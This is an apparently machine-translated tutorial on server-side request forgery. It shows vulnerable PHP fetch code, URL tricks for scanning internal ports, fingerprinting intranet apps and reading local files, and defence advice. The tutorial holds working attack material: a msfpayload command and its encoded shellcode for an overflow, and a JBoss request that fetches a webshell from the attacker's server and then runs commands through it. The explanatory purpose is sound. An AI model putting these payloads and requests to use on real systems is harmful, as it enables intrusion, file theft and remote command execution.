Analysis of SSRF attack instances

Ssrf attack Overview

Many web applications provide the ability to retrieve data from other servers. With the URL specified by the user, the web application can obtain images, download files, and read file content. If this function is maliciously used, you can use a defective web application as a proxy to attack remote and local servers. This type of attack is called Server-side Request Forgery ).

For example, the display is a typical application that provides this function:

If the application does not properly verify and filter the URL provided by the user and the information returned by the remote server, this type of Server Request Forgery may exist. Google, Facebook, Adobe, baidu, tencent, and other well-known companies have discovered such vulnerabilities. There are five types of attacks that can be achieved by attackers using ssrf:

1. You can scan the Internet, server Intranet, and local ports to obtain the banner information of some services;

2. Attack applications running on the Intranet or local device (such as overflow );

3. Fingerprint Recognition for Intranet web applications by accessing default files;

4. Attacks against web applications on the Intranet and Internet, mainly attacks that can be implemented using get parameters (such as struts2 and sqli );

5. Use the file protocol to read local files.

Common backend implementation

Ssrf attacks may be written in any language. We use some php code to analyze them as an example. Most of the Code comes from the real application source code.

Php file_get_contents:

1.<?php 2.if (isset($_POST['url']))  3.{  4.$content = file_get_contents($_POST['url']);  5.$filename ='./images/'.rand().';img1.jpg';  6.file_put_contents($filename, $content);  7.echo $_POST['url'];  8.$img = " 

This Code uses the file_get_contents function to get an image from the url specified by the user. Save the file name on the hard disk and display it to the user.

2, php fsockopen ():

1.<?php  2.function GetFile($host,$port,$link)  3.{  4.$fp = fsockopen($host, intval($port), $errno, $errstr, 30);  5.if (!$fp) {  6.echo "$errstr (error number $errno) \n";  7.} else {  8.$out = "GET $link HTTP/1.1\r\n";  9.$out .= "Host: $host\r\n";  10.$out .= "Connection: Close\r\n\r\n";  11.$out .= "\r\n";  12.fwrite($fp, $out);  13.$contents='';  14.while (!feof($fp)) {  15.$contents.= fgets($fp, 1024);  16.}  17.fclose($fp);  18.return $contents;  19.}  20.} 21.?> 

This Code uses the fsockopen function to obtain user-defined url data (file or html ). This function uses socket to establish a tcp connection with the server to transmit the original data.

3, php curl_exec ():

1.<?php  2.if (isset($_POST['url'])) 3.{ 4.$link = $_POST['url']; 5.$curlobj = curl_init(); 6.curl_setopt($curlobj, CURLOPT_POST, 0); 7.curl_setopt($curlobj,CURLOPT_URL,$link); 8.curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); 9.$result=curl_exec($curlobj); 10.curl_close($curlobj); 11. 12.$filename = './curled/'.rand().'.txt'; 13.file_put_contents($filename, $result);  14.echo $result; 15.} 16.?> 

This is another common implementation. Use curl to obtain data.

Attack scenarios

In most web server architectures, the web server itself can access the Internet and the Intranet of the server. Shows where requests from the web server can arrive.

Port Scan

Most social websites provide the ability to upload images through URLs specified by users. If the url entered by the user is invalid. Most web applications return error messages. Attackers can enter Some uncommon but valid Uris, such

http://example.com:8080/dir/images/http://example.com:22/dir/public/image.jpghttp://example.com:3306/dir/images/

Then, judge whether the port is open based on the server's return information. Most applications do not determine the port. As long as it is a valid URL, a request is sent. Most TCP services send banner information when establishing a socket connection. The banner information is ascii encoded and can be displayed as the original html data. Of course, the server generally does not directly display the returned information, but different error codes, length of the returned information, and return time can be used as a basis to determine the port status of the remote server.

The following implementation can be used for port scanning:

1.<?php  2.if (isset($_POST['url'])) 3.{ 4.$link = $_POST['url']; 5.$filename = './curled/'.rand().'txt'; 6.$curlobj = curl_init($link); 7.$fp = fopen($filename,"w"); 8.curl_setopt($curlobj, CURLOPT_FILE, $fp); 9.curl_setopt($curlobj, CURLOPT_HEADER, 0); 10.curl_exec($curlobj); 11.curl_close($curlobj); 12.fclose($fp); 13.$fp = fopen($filename,"r"); 14.$result = fread($fp, filesize($filename));  15.fclose($fp); 16.echo $result; 17.} 18.?> 

You can use the following form to submit the test (relatively simple ~~) :

1.
Normally, the request http://www.twitter.com/robots.txt returns the following results:

If you request a port that is not an http service, for example, http://scanme.nmap.org: 22/test.txt, the banner information is returned.

The request to close the port will report an error: http://scanme.nmap.org: 25/test.txt

Request the local mysql port: http: // 127.0.0.1: 3306/test.txt

Of course, most Internet applications do not directly return banner information. However, you can determine the error information, response time, and response package size as mentioned earlier. The following is a case in Google's webmaster application that uses the returned information to determine the port status. This defect has been fixed by Google.



Attack applications
Intranet security is usually weak, overflow, weak passwords, and so on. Through ssrf attacks, you can access the Intranet, attack the Intranet or local machines, and obtain shell.
The following is a local demonstration using a Applet:
Request: http: // 127.0.0.1: 8987/test.txt

Port 8987 is opened.
Request:
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


This is a white-box analysis. In actual practice, of course, this condition does not apply only to known vulnerabilities. Write exp through analysis. Because http is a text-based protocol, processing unicode characters that cannot be printed may cause problems. Msfencode is used for encoding. The command is as follows:
msfpayload widnows/exec CMD=calc.exe R | msfencodebufferRegister=ESP -e x86/alpha_mixed
The final payload is as follows:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
Overflow successful. The calculator is displayed.

You may have questions about whether http data can be received by other server protocols. You can refer to the Cross-protocol communication technology.
Intranet web application Fingerprint Recognition
Identifying the frameworks, platforms, modules, and cms used by intranet applications can provide a lot of help for subsequent attacks. Most web application frameworks have some unique files and directories. These files can be used to identify application types or even detailed versions. Based on this information, attackers can collect targeted vulnerabilities for attacks. For example, you can access the following files to determine whether phpMyAdmin is installed:
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.pngRequest: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpgRequest: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
Access http: // 10.0.0.1/portName. js to check whether it is a Dlink router.

The following Baidu case is from wooyun and has been fixed. Access http: // 10.50.33.43: 8080/manager/images/atat.gif to identify that tomcat is used on the server.


Attack Intranet web applications
There are many web attacks that can only be attacked through the get method, such as struts2 command execution. Here is a Jboss case. You can use a get request to deploy webshell.

You only need to put the network horse on the internet server and then send this request:
&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
Request the network horse to execute the command: http: // 127.0.0.1: 8080/cmd/shell. jsp? X = dir

In practice, there is usually no echo, similar to blind playing.
Read local files
The above cases are based on http requests. If we specify the file protocol, we may also read files on the server. The following request causes the application to read local files:
Request: file: // C:/Windows/win. ini

The following is an Adobe case that has been fixed. The request is file: // etc/passwd.

How to defend
There are usually five ideas:
1. It is easier to filter the returned information and verify the remote server's response to the request. If a web application obtains a certain type of file. Verify that the returned information meets the criteria before presenting the returned results to the user.
2. Unify the error information to prevent users from judging the port status of the remote server based on the error information.
3. Restrict the request port to a common http port, for example, 80,443,808.
4. Blacklist Intranet ip addresses. Prevent applications from being used to obtain intranet data and attack the Intranet.
5. disable unnecessary protocols. Only http and https requests are allowed. It can prevent problems such as file: //, gopher: //, and ftp.
References
Http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html
Http://evilcos.me /? P = 2
Http://www.wooyun.org
Via riyazwalikar.com